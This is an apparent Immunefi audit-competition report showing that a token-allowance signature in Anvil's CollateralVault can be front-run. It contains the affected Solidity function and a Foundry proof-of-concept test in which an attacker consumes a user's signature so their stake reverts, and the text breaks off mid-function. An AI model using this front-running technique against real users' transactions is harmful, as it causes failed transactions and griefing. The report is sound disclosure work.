# #36475 \[SC-Medium] Token allowance signature can be front-run **Submitted on Nov 3rd 2024 at 23:51:27 UTC by @zhuying for** [**Audit Comp | Anvil**](https://immunefi.com/audit-competition/audit-comp-anvil) * **Report ID:** #36475 * **Report Type:** Smart Contract * **Report severity:** Medium * **Target:** * **Impacts:** * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol) ## Description ## Brief/Intro The token allowance signature is required when users want to stake to TimeBasedCollateralPool. However when user initiates the stake tx, anyone can front-run the signature and call \`modifyCollateralizableTokenAllowanceWithSignature\` function in CollateralVault.sol to let user's nonce increase. And the user's stake tx will revert becauser of invalid signature. ## Vulnerability Details \`\`\` function modifyCollateralizableTokenAllowanceWithSignature( address \_accountAddress, address \_collateralizableContractAddress, address \_tokenAddress, int256 \_allowanceAdjustment, bytes calldata \_signature // @audit-issue signature can be front-run ) external { if (\_allowanceAdjustment > 0 && !collateralizableContracts\[\_collateralizableContractAddress]) { revert ContractNotApprovedByProtocol(\_collateralizableContractAddress); } ``` _modifyCollateralizableTokenAllowanceWithSignature( _accountAddress, _collateralizableContractAddress, _tokenAddress, _allowanceAdjustment, _signature ); } ``` \`\`\` The parameter of \`modifyCollateralizableTokenAllowanceWithSignature\` function is inputted directly. Anyone which knows signature information can call this function to consume signature. The contracts are depolyed to mainnet. If user initiates a stake tx publicly, the tx message is open to anyone. Attacker can front-run stake tx to let user's stake tx revert. ## Impact Details User's token allowance signature is useless if anyone front-runs the signature message. ## References ## Link to Proof of Concept ## Proof of Concept ## Proof of Concept \`\`\` // SPDX-License-Identifier: ISC pragma solidity 0.8.25; import {Test} from "forge-std/Test.sol"; import {CollateralVault} from "../contracts/CollateralVault.sol"; import {TimeBasedCollateralPool} from "../contracts/TimeBasedCollateralPool.sol"; import {ICollateral} from "../contracts/interfaces/ICollateral.sol"; import {mockERC20} from "./mocks/mockERC20.sol"; contract SignatureFrontrun is Test { error InvalidSignature(address account); ``` CollateralVault vault; TimeBasedCollateralPool pool; mockERC20 token; address owner = makeAddr("owner"); address claimDestination = makeAddr("claimDestination"); address user = makeAddr("user"); address attacker = makeAddr("attacker"); uint256 privateKey = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef; address signer = vm.addr(privateKey); bytes32 public constant COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH = keccak256( "CollateralizableTokenAllowanceAdjustment(address collateralizableAddress,address tokenAddress,int256 allowanceAdjustment,uint256 approverNonce)" ); bytes32 public constant COLLATERALIZABLE_DEPOSIT_APPROVAL_TYPEHASH = keccak256( "CollateralizableDepositApproval(address collateralizableAddress,address tokenAddress,uint256 depositAmount,uint256 approverNonce)" ); bytes32 private constant TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); uint256 per_hour = 3600; uint256 amount = 1 ether; function setUp() public { // depoly token contract token = new mockERC20("Anvil", "ANV"); CollateralVault.CollateralTokenConfig[] memory config1 = new CollateralVault.CollateralTokenConfig[](1); config1[0] = CollateralVault.CollateralTokenConfig({enabled: true, tokenAddress: address(token)}); vm.startPrank(owner); // depoly CollateralVault contract vault = new CollateralVault(config1); // depoly TBCP contract pool = new TimeBasedCollateralPool(); pool.initialize(ICollateral(vault), per_hour, claimDestination, owner, address(0), address(0), address(0)); CollateralVault.CollateralizableContractApprovalConfig[] memory config2 = new CollateralVault.CollateralizableContractApprovalConfig[](1); config2[0] = CollateralVault.CollateralizableContractApprovalConfig({ collateralizableAddress: address(pool), isApproved: true }); vault.upsertCollateralizableContractApprovals(config2); vm.stopPrank(); } function testNormalCase() public { // 1.user deposits to signer vm.startPrank(user); token.mint(user, amount); token.approve(address(vault), amount); address[] memory tokenAddresses = new address[](1); tokenAddresses[0] = address(token); uint256[] memory amounts = new uint256[](1); amounts[0] = amount; vault.depositToAccount(signer, tokenAddresses, amounts); vm.stopPrank(); // 2.signer signs message bytes32 messageHash = toTypedDataHash( _buildDomainSeparator(), keccak256( abi.encode( COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH, address(pool), address(token), 1 ether, 0 ) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash); bytes memory signature = abi.encodePacked(r, s, v); // 3.signer calls stake function vm.startPrank(signer); pool.stake(token, amount, signature); vm.stopPrank(); } function testSignatureFrontrun() public { // 1.user deposits to signer vm.startPrank(user); token.mint(user, amount); token.approve(address(vault), amount); address[] memory tokenAddresses = new address[](1); tokenAddresses[0] = address(token); uint256[] memory amounts = new uint256[](1); amounts[0] = amount; vault.depositToAccount(signer, tokenAddresses, amounts); vm.stopPrank(); // 2.signer signs message bytes32 messageHash = toTypedDataHash( _buildDomainSeparator(), keccak256( abi.encode( COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH, address(pool), address(token), 1 ether, 0 ) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash); bytes memory signature = abi.encodePacked(r, s, v); // 3.signer initiates tx ///////////////////////////////////////// //vm.startPrank(signer);///////////////// //pool.stake(token, amount, signature);// //vm.stopPrank();//////////////////////// ///////////////////////////////////////// // 4.attacker front-runs the tx vm.startPrank(attacker); vault.modifyCollateralizableTokenAllowanceWithSignature( signer, address(pool), address(token), int256(amount), signature ); vm.stopPrank(); // 5.tx reverts vm.startPrank(signer); vm.expectRevert(abi.encodeWithSelector(InvalidSignature.selector, signer)); pool.stake(token, amount, signature); vm.stopPrank(); } // helper function for signature testing function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, hex"1901") mstore(add(ptr, 0x02), domainSeparator) mstore(add(ptr, 0x22), structHash) digest := keccak256(ptr, 0x42) } } // helper function for signature testing function _buildDomainSeparator() private view returns (bytes32) { string memory name = "CollateralVault"; string memory version = "1"; bytes32 _hashedName = keccak256(bytes(name)); bytes32 _hashedVersion = keccak256(bytes(version)); return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(vault))); 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